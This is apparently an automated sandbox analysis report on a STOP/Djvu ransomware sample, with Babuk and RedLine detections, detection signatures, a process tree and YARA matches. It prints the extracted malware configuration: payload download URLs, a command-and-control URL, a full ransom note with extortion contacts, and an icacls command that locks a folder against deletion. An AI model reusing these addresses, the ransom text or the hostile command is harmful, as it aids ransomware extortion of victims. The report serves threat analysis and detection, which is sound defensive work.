Edit tour

Windows Analysis Report
16oApcahEa.exe

Overview

General Information

Sample name:	16oApcahEa.exe renamed because original name is a hash value
Original sample name:	3f1596b4ebd177ec46e57ea0e6d208f32c1ebb93b448a4b5318cc116293d1e71.exe
Analysis ID:	1583095
MD5:	42fe928b06e704ec51f6d9e679a4b2e4
SHA1:	f0fb600a2b9428b2dd33fd8a7d781f4f59423241
SHA256:	3f1596b4ebd177ec46e57ea0e6d208f32c1ebb93b448a4b5318cc116293d1e71
Tags:	exeStopuser-Chainskilabs
Infos:

Detection

Babuk, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

16oApcahEa.exe (PID: 3792 cmdline: "C:\Users\user\Desktop\16oApcahEa.exe" MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 6388 cmdline: "C:\Users\user\Desktop\16oApcahEa.exe" MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

icacls.exe (PID: 6592 cmdline: icacls "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

16oApcahEa.exe (PID: 6556 cmdline: "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 2380 cmdline: "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 5068 cmdline: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 5316 cmdline: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 3560 cmdline: "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 5168 cmdline: "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 5892 cmdline: "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

16oApcahEa.exe (PID: 4368 cmdline: "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart MD5: 42FE928B06E704EC51F6D9E679A4B2E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://znpst.top/dl/build2.exe", "http://rlrz.org/files/1/build3.exe"], "C2 url": "http://rlrz.org/fhsgtsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-xl2bbDnZSN\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nmanager@mailtemp.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupporthelp@airmail.cc\r\n\r\nYour personal ID:\r\n0338gSd743d", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi44bgS\\/+sWDxcka8ZtTQ3f96KGJ90pe\\\\nQoFcuKSikYrVnV3lMtr+bEVD48fB\\/v\\/dNABnKuJFNRbzwrKA84piJsyyQtfdRgdC\\\\n1M9IKytlSIKkbyf3P0HZ8bYVRkthgFYnAAMWKoNXp7YvqHJJA6HSPtoNGB5VlGvQ\\\\ntEm6Ksu2+SnqufdvuWqHHd9\\/bWJvT0nEFEICem3r2XAjJvTavbF00u7jL9a\\/DGk6\\\\n0FDyzg+cgrY1y6lrBHf0A\\/boSD\\/CvFY3k+COauvjr\\/lqffkro0R8LTqmzMpCIWZR\\\\ncwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2112745886.0000000004AFE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.2208403894.0000000004AF3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.2290490694.000000000310E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.2058334723.0000000004BED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2134183161.0000000003299000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: 16oApcahEa.exe PID: 3792	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 3792	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 6388	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 6388	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3b8dd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 5068	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 5068	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3d50a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 6556	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 6556	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x46fde:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 2380	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 2380	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 2380	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x1244fbf:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 5316	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 5316	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 5316	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4cd24:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 3560	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 3560	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32adb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 5168	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 5168	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39c32:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 5892	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 5892	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x35b80:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 16oApcahEa.exe PID: 4368	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 16oApcahEa.exe PID: 4368	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x42aad:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.16oApcahEa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.16oApcahEa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.16oApcahEa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.16oApcahEa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.16oApcahEa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.16oApcahEa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.16oApcahEa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.16oApcahEa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
